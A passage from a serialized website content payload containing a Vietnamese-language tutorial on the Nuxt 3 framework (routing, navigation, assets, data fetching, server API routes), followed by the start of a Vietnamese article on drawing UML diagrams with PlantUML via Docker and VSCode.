pages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }} - Division ID : {{ $route.params.divisionId }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17972,17970],{"__ignoreMap":66},[533,17974],{"className":17975,"alt":66,"src":17976,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155723\u002Frouting-nested-user-id-division-divisionId-1024x195.png",[657,17978,17980],{"id":17979},"navigation",[20,17981,17982],{},"Navigation",[11,17984,17985,17986],{},"Là quá trình di chuyển giữa các page hoặc các route khác nhau trong ứng dụng của bạn. Nuxt sử dụng component ",[17987,17988,17989],"nuxt-link",{}," để liên kết các page. Nó sẽ render một tag \u003Ca> với thuộc tính href để thiết lập route cho page.",[696,17991,17994],{"className":17992,"code":17993,"language":701},[699],"> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cp>Home Page\u003C\u002Fp>\n    \u003Cnav>\n      \u003Cul>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fabout\">About\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fcategory\">Category\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fuser\">User\u003C\u002FNuxtLink>\u003C\u002Fli>\n      \u003C\u002Ful>\n    \u003C\u002Fnav>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[703,17995,17993],{"__ignoreMap":66},[11,17997,17998],{},"Khi nhấn vào từng link About, Category, User thì sẽ redirect đến page tương ứng.",[533,18000],{"className":18001,"alt":66,"src":18002,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155923\u002Fnavigation-1024x209.png",[11,18004,18005,18006],{},"Sử dụng component ",[17987,18007,18008],{}," với parameter Props “to” có 2 đối tượng cần quan tâm:",[201,18010,18011,18014],{},[34,18012,18013],{},"name: Tên của page cũng là route tương ứng.Ví dụ: pages\u002Fcategory\u002F[slug].vue → \u002Fcategory\u002F:slug⇒ Đặt tên tương ứng ngăn cách giữa các child folder là dấu “-”: category-slug.",[34,18015,18016],{},"params: Parameter cần truyền khi sử dụng dynamic route.",[696,18018,18021],{"className":18019,"code":18020,"language":701},[699],"> pages\u002Fcategory\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Category Page\u003C\u002Fp>\n  \u003Cnav>\n    \u003Cul v-for=\"(cate, index) in categories\" :key=\"index\">\n      \u003Cli>\n        \u003CNuxtLink :to=\"{ name: 'category-slug', params: { slug: cate } }\">\n          {{ cate }}\n        \u003C\u002FNuxtLink>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fnav>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst categories = ['language', 'reading', 'programming', 'art', 'other'];\n\u003C\u002Fscript>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[703,18022,18020],{"__ignoreMap":66},[657,18024,18026],{"id":18025},"assets",[20,18027,18028],{},"Assets",[201,18030,18031,18037],{},[34,18032,18033,18034,18036],{},"Nội dung thư mục ",[20,18035,17442],{}," được phục vụ tại server root.",[34,18038,18039,18040,18042],{},"Thư mục ",[20,18041,17438],{}," chứa mọi nội dung mà bạn muốn công cụ xây dựng (Vite hoặc webpack) xử lý.",[11,18044,18045],{},[20,18046,18047],{},"Thư mục public",[11,18049,18050,18051,18054],{},"Ví dụ, liên quan đến file ảnh tại thư mục ",[20,18052,18053],{},"\"public\u002Fimg\u002F\"",", có sẵn tại static URL \u002Fimg\u002Fnuxt.png:",[696,18056,18059],{"className":18057,"code":18058,"language":701},[699],"\u003Ctemplate>\n  \u003Cimg src=\"\u002Fimg\u002Fnuxt.png\" alt=\"Discover Nuxt 3\" \u002F>\n\u003C\u002Ftemplate>\n",[703,18060,18058],{"__ignoreMap":66},[11,18062,18063],{},[20,18064,18065],{},"Thư mục assets",[4997,18067,18068],{},[11,18069,18070],{},[17794,18071,18072],{"style":17796},"Nuxt sẽ không cung cấp các file trong thư mục assets\u002F tại một static URL như \u002Fassets\u002Fmy-file.png. Nếu bạn cần một static URL, hãy sử dụng thư mục public\u002F.",[11,18074,18075],{},"Bạn có thể thiết lập các file stylesheet(CSS, SASS, v\u002Fv), fonts hoặc SVG. Để chèn các câu lệnh global vào các component Nuxt của bạn, bạn có thể sử dụng tùy chọn Vite tại file nuxt.config của mình.",[11,18077,18078],{},"Hãy xem ví dụ bên dưới:",[696,18080,18083],{"className":18081,"code":18082,"language":701},[699],"> assets\u002Fcss\u002Fstyles.css\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\n> assets\u002Fsass\u002F_colors.scss\n$primary: #49240F;\n$secondary: #E4A79D;\n\n> assets\u002Fsass\u002Fapp.scss\n@import url(\"https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Nunito:ital,wght@0,200;0,300;0,400;0,600;0,700;0,800;0,900;1,200;1,300;1,400;1,600;1,700;1,800;1,900&display=swap\");\nbody {\n  font-family: 'Nunito',\n}\n.btn-bg-color {\n  background-color: $primary;\n}\n\n> nuxt.config.ts\nexport default defineNuxtConfig({\n  css: [\n    '~\u002Fassets\u002Fcss\u002Fstyles.css',\n    '~\u002Fassets\u002Fsass\u002Fapp.scss',\n  ],\n  vite: {\n    css: {\n      preprocessorOptions: {\n        scss: {\n          additionalData: '@use \"@\u002Fassets\u002Fsass\u002F_colors.scss\" as *;'\n        }\n      }\n    }\n  }\n})\n",[703,18084,18082],{"__ignoreMap":66},[657,18086,18088],{"id":18087},"components",[20,18089,18090],{},"Components",[11,18092,18039,18093,18095,18096,18098],{},[20,18094,17450],{}," là nơi bạn đặt tất cả các component Vue mà sau đó có thể được nhập vào bên trong các page của bạn hoặc các component khác. Nuxt tự động import bất kỳ component nào trong thư mục ",[20,18097,17450],{}," của bạn (cùng với các component được đăng ký bởi bất kỳ mô-đun nào bạn có thể đang sử dụng).",[11,18100,18101,18102],{},"Ngoài ra Nuxt còn tích hợp sẵn các component như: ",[18103,18104,1091,18105],"client-only",{},[17910,18106,1091,18107],{},[18108,18109,1091,18110],"nuxt-layout",{},[17987,18111,1091,18112],{},[18113,18114,18115],"teleport",{},", v\u002Fv.",[696,18117,18120],{"className":18118,"code":18119,"language":701},[699],"> components\n--| BaseHeader.vue\n--| BaseFooter.vue\n--| base\u002F\n----| html\u002F\n------| Alert.vue\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003CBaseHeader \u002F>\n    \u003CBaseHtmlAlert \u002F>\n    \u003Cslot \u002F>\n    \u003CBaseFooter \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[703,18121,18119],{"__ignoreMap":66},[657,18123,18125],{"id":18124},"composables",[20,18126,18127],{},"Composables",[11,18129,18130,18131,18134],{},"Nuxt cung cấp một số composables như useAppConfig, useAsyncData, useCookie, useError, useFetch, useHead, v\u002Fv. Ngoài ra Nuxt sẽ tự động import các file bên trong thư mục ",[20,18132,18133],{},"\"composables\""," của bạn với tính năng auto-imports.",[657,18136,18138,64],{"id":18137},"plugins",[20,18139,18140],{},"Plugins",[11,18142,18143,18144,18147],{},"Nuxt tự động đọc các file trong thư mục ",[20,18145,18146],{},"\"plugins\""," của bạn và tải chúng khi tạo ứng dụng Vue. Bạn có thể sử dụng hậu tố .server hoặc .client trong tên file để chỉ tải plugin ở phía server hoặc client.",[4997,18149,18150],{},[11,18151,18152],{},[17794,18153,18154],{"style":17796},"Tất cả các plugin trong thư mục plugins\u002F của bạn đều được đăng ký tự động, vì vậy bạn không nên thêm riêng chúng vào nuxt.config của mình.",[657,18156,18157],{"id":17488},[20,18158,18159],{},"Modules",[11,18161,18162],{},"Nuxt cung cấp cho chúng ta một danh sách các modules từ cộng đồng. Cho bạn có nhiều sự lựa chọn để phát triển ứng dụng.",[533,18164],{"className":18165,"alt":66,"src":18166,"style":17409},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07160511\u002Fmodules.png",[11,18168,18169],{},"Cài đặt module cần thiết cho ứng dụng của bạn và cấu hình ở file nuxt.config.ts.",[696,18171,18174],{"className":18172,"code":18173,"language":701},[699],"export default defineNuxtConfig({\n  modules: [\n    '@vueuse\u002Fnuxt',\n    '@element-plus\u002Fnuxt',\n    'nuxt-lodash',\n    'nuxt-security',\n  ]\n})\n",[703,18175,18173],{"__ignoreMap":66},[11,18177,18178,18179,18181],{},"Với những file custom thì Nuxt sẽ quét thư mục ",[20,18180,17492],{}," và tải chúng trước khi bắt đầu. Đó là một nơi tốt để đặt bất kỳ mô-đun cục bộ nào mà bạn phát triển trong khi xây dựng ứng dụng của bạn.",[696,18183,18186],{"className":18184,"code":18185,"language":701},[699],"modules\u002F*\u002F*.ts\nmodules\u002F*.ts\n",[703,18187,18185],{"__ignoreMap":66},[657,18189,18191],{"id":18190},"data-fetching",[20,18192,18193],{},"Data Fetching",[11,18195,18196],{},"Với Nuxt 3 gần như đã hỗ trợ đầy đủ composables và các thư viện được tích hợp sẵn để thực hiện data-fetching từ môi trường browser hoặc server bao gồm: useFetch, useLazyFetch, useAsyncData, useLazyAsyncData và $fetch.",[11,18198,18199],{},[20,18200,18201],{},"useFetch",[11,18203,18204],{},"useFetch được render ở server side (trong mode server side rendering của Nuxt) và được sử dụng để nạp dữ liệu vào trong ứng dụng Nuxt của bạn. useFetch có thể được sử dụng ở cả page, các component hay các plugin. Cách sử dụng của useFetch rất đơn giản như dưới đây:",[696,18206,18209],{"className":18207,"code":18208,"language":701},[699],"\u003Ctemplate>\n  \u003Cdiv>\n    Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst { data: count } = await useFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[703,18210,18208],{"__ignoreMap":66},[11,18212,18213],{},[20,18214,18215],{},"Options:",[201,18217,18218,18221,18224,18227,18230,18233,18236,18239,18242,18245,18248,18251,18254],{},[34,18219,18220],{},"method: Phương thức của request.",[34,18222,18223],{},"query: Thêm các query cho request.",[34,18225,18226],{},"params: Alias cho query.",[34,18228,18229],{},"body: Request body.",[34,18231,18232],{},"headers: Request headers.",[34,18234,18235],{},"baseURL: Base URL.",[34,18237,18238],{},"key: Giá trị duy nhất, kiểm soát cách dữ liệu được lưu vào cache và cách các request được thực hiện.",[34,18240,18241],{},"server: Có tìm nạp dữ liệu trên máy chủ hay không (mặc định là true).",[34,18243,18244],{},"default: Thiết lập giá trị mặc định cho đối tượng.",[34,18246,18247],{},"pick: Trích xuất thuộc tính cụ thể từ dữ liệu đối tượng.",[34,18249,18250],{},"watch: Lắng nghe sự thay đổi của đối tượng nào đó để gọi lại useFetch.",[34,18252,18253],{},"transform: Sử dụng để transform đầu ra.",[34,18255,18256],{},"immediate: Khi được đặt thành false, sẽ ngăn yêu cầu kích hoạt useFetch ngay lập tức.",[11,18258,18259],{},[20,18260,18261],{},"Return value:",[201,18263,18264,18267,18270,18273],{},[34,18265,18266],{},"data: Dữ liệu mà useFetch gọi từ API.",[34,18268,18269],{},"pending: Trạng thái useFetch có còn được gọi hay không (true\u002Ffalse).",[34,18271,18272],{},"refresh\u002Fexecute : Hàm refresh hoặc execute có thể được gọi bên ngoài useFetch sử dụng để fetch lại dữ liệu.",[34,18274,18275],{},"error: Object error trong trường hợp gọi API bị lỗi.",[11,18277,18278],{},"Sau đây là một ví dụ nhỏ có sử dụng một vài options trên.",[696,18280,18283],{"className":18281,"code":18282,"language":701},[699],"const { data, pending, error, refresh } = await useFetch('https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains',{\n    pick: ['title'],\n    query: { param1, param2: 'value2' }\n})\nconst refreshData = () => refresh();\n",[703,18284,18282],{"__ignoreMap":66},[11,18286,18287,18288,18292],{},"Cách sử dụng này sẽ trả ra title của các phần tử trong mảng trả về từ url là \"",[58,18289,18290],{"href":18290,"rel":18291},"https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains?param1=value1&param2=value2",[62],"\" và chúng ta có thể gọi lại useFetch thông qua hàm refreshData.",[11,18294,18295],{},[20,18296,18297],{},"useAsyncData",[11,18299,18300],{},"Với useFetch, mỗi lần sử dụng truyền một URL dài vào useFetch và nếu URL này được sử dụng ở nhiều nơi thì khá khó quản lý. Thường sẽ tạo một thư mục API và viết các hàm gọi API vào các file trong đó, sau đó import vào component hoặc page. Với cách làm này thì không thể sử dụng được useFetch. Để thuận tiện thì với useAsyncData cách sử dụng cũng gần giống với useFetch.",[696,18302,18305],{"className":18303,"code":18304,"language":701},[699],"\u003Ctemplate>\n  \u003Cdiv>\n        Page visits: {{ data }}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[703,18306,18304],{"__ignoreMap":66},[11,18308,18309],{},"Giả sử có hàm:",[696,18311,18314],{"className":18312,"code":18313,"language":701},[699],"export const getPosts = () => axios.get('\u002Fapi\u002Fposts');\n",[703,18315,18313],{"__ignoreMap":66},[11,18317,18318],{},"Để sử dụng trong useAsyncData thì chúng ta chỉ cần sửa thành:",[696,18320,18323],{"className":18321,"code":18322,"language":701},[699],"const { data } = await useAsyncData('projectSearch', () => getPosts());\n",[703,18324,18322],{"__ignoreMap":66},[11,18326,18327],{},"Các option và return value trong useAsyncData cũng giống như trong useFetch. Có một lưu ý nhỏ khi sử dụng useAsyncData hay useFetch là chúng ta hãy nhớ thêm key cho chúng và nhớ clearNuxtData nếu muốn useAsyncData hoặc useFetch được gọi lại khi chúng ta chuyển trang nhé. Ví dụ như thế này:",[696,18329,18332],{"className":18330,"code":18331,"language":701},[699],"\u003Cscript setup>\n    await clearNuxtData('count');\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[703,18333,18331],{"__ignoreMap":66},[11,18335,18336],{},[20,18337,18338],{},"useLazyFetch",[11,18340,18341],{},"Cách viết của useLazyFetch thì cũng giống useFetch vì cơ bản nó chính là useFetch với option lazy: true. Với lazy sẽ load data bất đồng bộ, Nuxt sẽ nạp dữ liệu song song với các đoạn mã ngay phía sau khác với useFetch thì sẽ thực hiện xong mới thực hiện tiếp tục các đoạn code đằng sau. Ngoài ra bạn có thể sử dụng thuộc tính pending để xác định xem data đã được load xong chưa (pending = true khi data chưa được load xong và ngược lại).",[696,18343,18346],{"className":18344,"code":18345,"language":701},[699],"\u003Ctemplate>\n  \u003Cdiv>\n      Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { pending, data: count } = await useLazyFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[703,18347,18345],{"__ignoreMap":66},[11,18349,18350],{},[20,18351,18352],{},"useLazyAsyncData",[11,18354,18355],{},"useLazyAsyncData cũng tương tự như useAsyncData nhưng với option lazy: true. Cách triển khai thì cũng giống như useAsyncData:",[696,18357,18360],{"className":18358,"code":18359,"language":701},[699],"const { pending, data: post } = await useLazyAsyncData('post', () => getPosts());\n",[703,18361,18359],{"__ignoreMap":66},[11,18363,18364],{},[20,18365,18366],{},"$fetch",[11,18368,18369,18370,18375],{},"Nuxt sử dụng ",[58,18371,18374],{"href":18372,"rel":18373},"https:\u002F\u002Fgithub.com\u002Funjs\u002Fofetch",[62],"ofetch"," để hiển thị global với helper $fetch để thực hiện các yêu cầu HTTP trong ứng dụng Vue hoặc các tuyến API của bạn.",[11,18377,18378],{},"Chúng ta nên sử dụng useFetch hoặc useAsyncData + $fetch để ngăn việc tìm nạp dữ liệu kép khi tìm nạp dữ liệu thành phần.",[696,18380,18383],{"className":18381,"code":18382,"language":701},[699],"\u003Cscript setup>\n\u002F\u002F Trong quá trình SSR, dữ liệu được tìm nạp hai lần, một lần trên server và một lần trên client.\nconst dataTwice = await $fetch('\u002Fapi\u002Fitem')\n\u002F\u002F Trong thời gian SSR, dữ liệu chỉ được tìm nạp ở phía server và được chuyển đến client.\nconst { data } = await useAsyncData('item', () => $fetch('\u002Fapi\u002Fitem'))\n\u002F\u002F Bạn cũng có thể sử useFetch làm lối tắt của useAsyncData + $fetch\nconst { data } = await useFetch('\u002Fapi\u002Fitem')\n\u003C\u002Fscript>\n",[703,18384,18382],{"__ignoreMap":66},[11,18386,18387],{},"Bạn có thể sử dụng $fetch cho bất kỳ phương thức nào chỉ được thực thi ở client side.",[696,18389,18392],{"className":18390,"code":18391,"language":701},[699],"\u003Ctemplate>\n  \u003Cbutton @click=\"contactForm\">Contact\u003C\u002Fbutton>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nfunction contactForm() {\n  $fetch('\u002Fapi\u002Fcontact', {\n    method: 'POST',\n    body: { hello: 'world '}\n  })\n}\n\u003C\u002Fscript>\n",[703,18393,18391],{"__ignoreMap":66},[657,18395,18397],{"id":18396},"server","Server",[11,18399,18400,18401,1091,18404,1091,18407,18410],{},"Nuxt tự động quét các file bên trong các thư mục: ",[20,18402,18403],{},"\"~\u002Fserver\u002Fapi\"",[20,18405,18406],{},"\"~\u002Fserver\u002Froutes\"",[20,18408,18409],{},"\"~\u002Fserver\u002Fmiddleware\"",", để đăng ký trình xử lý API và server có hỗ trợ HMR.",[11,18412,18413],{},"Ví dụ: tạo một route \u002Fapi\u002Fhello với \u002Fserver\u002Fapi\u002Fhello.ts.",[696,18415,18418],{"className":18416,"code":18417,"language":701},[699],"> server\u002Fapi\u002Fhello.ts\nexport default defineEventHandler((event) => {\n  return {\n    hello: 'world'\n  }\n})\n\n> pages\u002Fhello.vue\n\u003Ctemplate>\n  \u003Cpre>{{ data }}\u003C\u002Fpre>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n  const { data } = await useFetch('\u002Fapi\u002Fhello');\n\u003C\u002Fscript>\n",[703,18419,18417],{"__ignoreMap":66},[11,18421,18422],{},"Tên file xử lý có thể được thêm vào hậu tố .get, .post, .put, .delete, ... để phù hợp với Phương thức HTTP của yêu cầu.",[696,18424,18427],{"className":18425,"code":18426,"language":701},[699],"> server\u002Fapi\u002Ftest.get.ts\nexport default defineEventHandler(() => 'Test get handler')\n\n> server\u002Fapi\u002Ftest.post.ts\nexport default defineEventHandler(() => 'Test post handler')\n",[703,18428,18426],{"__ignoreMap":66},[11,18430,18431],{},"Handle request với Body:",[696,18433,18436],{"className":18434,"code":18435,"language":701},[699],"> server\u002Fapi\u002Fsubmit.post.ts\nexport default defineEventHandler(async (event) => {\n    const body = await readBody(event)\n    return { body }\n})\n",[703,18437,18435],{"__ignoreMap":66},[11,18439,18440],{},"Handle request với Query:",[696,18442,18445],{"className":18443,"code":18444,"language":701},[699],"> server\u002Fapi\u002Fsearch.ts\n\u002F\u002F Mẫu query: \u002Fapi\u002Fsearch?param1=a&param2=b\nexport default defineEventHandler((event) => {\n  const query = getQuery(event)\n  return { a: query.param1, b: query.param2 }\n})\n",[703,18446,18444],{"__ignoreMap":66},[498,18448,18450],{"id":18449},"phần-kết-luận",[20,18451,18452],{},"Phần kết luận",[11,18454,18455],{},"Với phiên bản mới mà Nuxt mang lại thêm vào đó là một cộng đồng Vue.js đang dần phát triển và sự mạnh mẽ của các công nghệ lõi đã dần thu hút cộng đồng người sử dụng Vue.js nói chung và Nuxt nói riêng, đã giúp mang lại nguồn tài liệu phong phú và đa dạng.",[11,18457,18458],{},[20,18459,18460],{},"Ưu điểm:",[201,18462,18463,18466,18469,18472,18475,18478,18481],{},[34,18464,18465],{},"Về mặt hiệu suất được cải tiến.",[34,18467,18468],{},"Cải thiện hiệu suất ứng dụng mobile.",[34,18470,18471],{},"Các kiến trúc mô-đun linh hoạt.",[34,18473,18474],{},"Hỗ trợ Typescript, plugins và công cụ debugging tốt hơn.",[34,18476,18477],{},"Tối ưu SEO.",[34,18479,18480],{},"Tích hợp tốt với Vue 3.",[34,18482,18483],{},"Hạn chế việc cấu hình phức tạp.",[11,18485,18486],{},[20,18487,18488],{},"Nhược điểm:",[201,18490,18491,18494,18497,18500,18503],{},[34,18492,18493],{},"Đối với người mới thì phải bắt đầu có kiến thức nền tảng về Vue.js.",[34,18495,18496],{},"Nuxt yêu cầu bạn tuân thủ cấu trúc folder chuẩn của nó. Điều này có thể gây khó khăn khi bạn cần tùy chỉnh cấu trúc folder hoặc tích hợp với các công cụ, thư viện bên ngoài có cấu trúc khác.",[34,18498,18499],{},"Một số thư viện và plugin Vue.js có thể không tương thích hoặc cần một số cấu hình bổ sung khi sử dụng với Nuxt.",[34,18501,18502],{},"Nuxt là một framework mạnh mẽ được thiết kế cho các ứng dụng phức tạp. Nếu bạn có một dự án đơn giản hoặc một ứng dụng một trang, việc sử dụng Nuxt có thể gây ra sự phức tạp và chi phí không cần thiết.",[34,18504,18505],{},"Cộng đồng còn nhỏ và đang dần phát triển.",[11,18507,18508],{},"Thống kê giữa các rendering framework thịnh thành:",[533,18510],{"className":18511,"alt":66,"src":18512,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161448\u002Fdownload-chart-nuxt-next-1024x361.png",[11,18514,18516,18517,18524],{"className":18515},[2565,2566,2567,2568,2569],"\n  (\n  ",[58,18518,18523],{"href":18519,"className":18520},"https:\u002F\u002Fnpmtrends.com\u002F",[18521,18522],"!text-yellow-400","underline","\n   https:\u002F\u002Fnpmtrends.com\u002F\n  ","\n  )\n",[533,18526],{"className":18527,"alt":66,"src":18528,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161729\u002Fratio-rendering-framework-1024x470.png",[11,18530,18516,18532,18524],{"className":18531},[2565,2566,2567,2568,2569],[58,18533,18536],{"href":18534,"className":18535},"https:\u002F\u002F2022.stateofjs.com\u002F",[18521,18522],"\n    https:\u002F\u002F2022.stateofjs.com\u002F\n  ",[498,18538,10911],{"id":11099},[11,18540,18541],{},[58,18542,18543],{"href":18543,"rel":18544},"https:\u002F\u002Fnuxt.com\u002F",[62],[11,18546,18547],{},[58,18548,18519],{"href":18519,"rel":18549},[62],[11,18551,18552],{},[58,18553,18534],{"href":18534,"rel":18554},[62],{"title":66,"searchDepth":67,"depth":67,"links":18556},[18557,18558,18559,18560,18561,18562,18567,18568,18582,18583],{"id":5417,"depth":67,"text":5418},{"id":17277,"depth":67,"text":17280},{"id":17337,"depth":67,"text":17340},{"id":17387,"depth":67,"text":17390},{"id":17401,"depth":67,"text":17404},{"id":17605,"depth":67,"text":17608,"children":18563},[18564,18565,18566],{"id":17611,"depth":1417,"text":17614},{"id":17626,"depth":1417,"text":17629},{"id":17635,"depth":1417,"text":17638},{"id":17667,"depth":67,"text":17670},{"id":17750,"depth":67,"text":17753,"children":18569},[18570,18571,18572,18573,18574,18575,18576,18577,18579,18580,18581],{"id":17756,"depth":1417,"text":17759},{"id":17782,"depth":1417,"text":17785},{"id":17830,"depth":1417,"text":17833},{"id":17979,"depth":1417,"text":17982},{"id":18025,"depth":1417,"text":18028},{"id":18087,"depth":1417,"text":18090},{"id":18124,"depth":1417,"text":18127},{"id":18137,"depth":1417,"text":18578},"Plugins ",{"id":17488,"depth":1417,"text":18159},{"id":18190,"depth":1417,"text":18193},{"id":18396,"depth":1417,"text":18397},{"id":18449,"depth":67,"text":18452},{"id":11099,"depth":67,"text":10911},"HIEU NGUYEN TRUNG","2024-02-07","Giới thiệu Nuxt là một framework JavaScript mã nguồn mở dựa trên Vue.js. Phiên bản mới nhất hiện tại là Nuxt 3. Nuxt 3 là bản nâng cấp lại từ framework Nuxt dựa trên Vite, Vue 3 và Nitro với sự hỗ trợ từ Typescript.Nuxt giúp đơn giản hóa việc phát triển các ứng dụng web theo phương pháp Server Side Rendering (SSR) và Static Site Generation (SSG), ngoài ra còn có các phương pháp khác như CSR, ISR, ESR và SWR. Nuxt cung cấp một cách tiếp cận có cấu trúc và dựa trên quy ước để xây dựng các ứng dụng Vue.js, cho phép các lập trình viên tập trung vào việc phát triển các tính năng thay vì xử lý cấu hình phức tạp.",{},"\u002Fvi\u002Fnews\u002Fnuxt-the-intuitive-web-framework",{"title":17262,"description":18586},"vi\u002Fnews\u002Fnuxt-the-intuitive-web-framework","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fnuxt-logo-png_seeklogo-460579.png","kd-aMWBPqH5RSF4t8sSlrkmIyn8P6A1eXsaqAmBNof4",{"id":18594,"title":18595,"body":18596,"category":1430,"created by":70,"date":18822,"description":18823,"extension":72,"meta":18824,"navigation":74,"path":18825,"sections":76,"seo":18826,"stem":18827,"thumbnail":18828,"__hash__":18829},"content_vi\u002Fvi\u002Fnews\u002Fplantuml.md","PlantUML- Vẽ biểu đồ UML bằng code",{"type":8,"value":18597,"toc":18807},[18598,18602,18605,18608,18611,18615,18619,18622,18629,18632,18640,18644,18648,18651,18654,18666,18670,18674,18677,18683,18690,18697,18701,18704,18707,18710,18713,18717,18720,18735,18738,18744,18748,18757,18761,18764,18767,18770,18774,18783,18786,18788,18795,18802],[498,18599,18601],{"id":18600},"giới-thiệu-plantuml","Giới thiệu PlantUML",[11,18603,18604],{},"Trong quy trình phát triển phần mềm, dù áp dụng mô hình Waterfall hay mô hình Agile thì cũng thường hay sử dụng biểu đồ UML để giải thích yêu cầu, cấu trúc, chức năng.",[11,18606,18607],{},"Tuy nhiên, tài liệu biểu đồ hình vẽ  không dùng Text Editor mà thường dùng ứng dụng vẽ hình và đôi lúc khó nhận biết được sự khác biệt giữa các version.",[11,18609,18610],{},"Nếu dùng PlantUML thì có thể vẽ hình, biểu đồ bằng code và dễ dàng biết được sự khác biệt của các thay đổi, dễ dàng quản lý version.",[498,18612,18614],{"id":18613},"xây-dựng-trên-môi-trường-local","Xây dựng trên môi trường local",[657,18616,18618],{"id":18617},"khởi-động-plantuml-trên-localhost","Khởi động PlantUML trên localhost",[11,18620,18621],{},"Phương pháp áp dụng đơn giản có dùng Docker như sau:",[11,18623,18624,18625,756],{},"1. Cài Docker, khởi động Docker. (Hãy tham khảo phương pháp cài Docker ",[58,18626,4987],{"href":18627,"rel":18628},"https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Flaunch-with-docker\u002F",[62],[11,18630,18631],{},"2. Chạy lệnh \"docker run -d -p 8080:8080 plantuml\u002Fplantuml-server:jetty\", khởi động Docker container của plantumlUML",[11,18633,18634,18635,18639],{},"3. Trên trình duyệt, truy cập vào \"",[58,18636,18637],{"href":18637,"rel":18638},"http:\u002F\u002Flocalhost:8080\u002F",[62],"\", nếu hiện ra như dưới đây là đã thành công",[533,18641],{"className":18642,"alt":66,"src":18643,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02172640\u002Fimage-20211029173703751-768x314.png",[657,18645,18647],{"id":18646},"setting-vscode","Setting VScode",[11,18649,18650],{},"1. Chọn Extension, cài PlantUML",[11,18652,18653],{},"2. Mở Extension setting của PlantUML và setting như sau:",[31,18655,18656,18659],{},[34,18657,18658],{},"Plantuml: Render => PlantUMLServer",[34,18660,18661,18662],{},"Plantuml: Server => ",[58,18663,18664],{"href":18664,"rel":18665},"http:\u002F\u002Flocalhost:8080",[62],[498,18667,18669],{"id":18668},"cách-sử-dụng","Cách sử dụng",[657,18671,18673],{"id":18672},"vừa-edit-vừa-hiển-thị-preview","Vừa edit vừa hiển thị preview",[11,18675,18676],{},"1. Tạo file UML (*******.uml) bằng VScode, sau đó copy & paste đoạn code dưới đây.",[696,18678,18681],{"className":18679,"code":18680,"language":701},[699],"@startuml \nstart \nrepeat \n:Test something; \nif (Something went wrong?) then (no) \n#palegreen:OK; \nbreak \nendif \n->NOK; \n:Alert \"Error with long text\"; \nrepeat while (Something went wrong with long text?) is (yes) not (no) \n->\u002F\u002Fmerged step\u002F\u002F; \n:Alert \"Success\"; \nstop \n@enduml\n",[703,18682,18680],{"__ignoreMap":66},[11,18684,18685,18686],{},"2.  Từ Command Panel của VScode, chọn \"PlantUML:Preview Current Diagram\"\n",[533,18687],{"className":18688,"alt":66,"src":18689,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174035\u002Fimage-20211029165031071-768x259.png",[11,18691,18692,18693],{},"3. Màn hình preview sẽ hiện 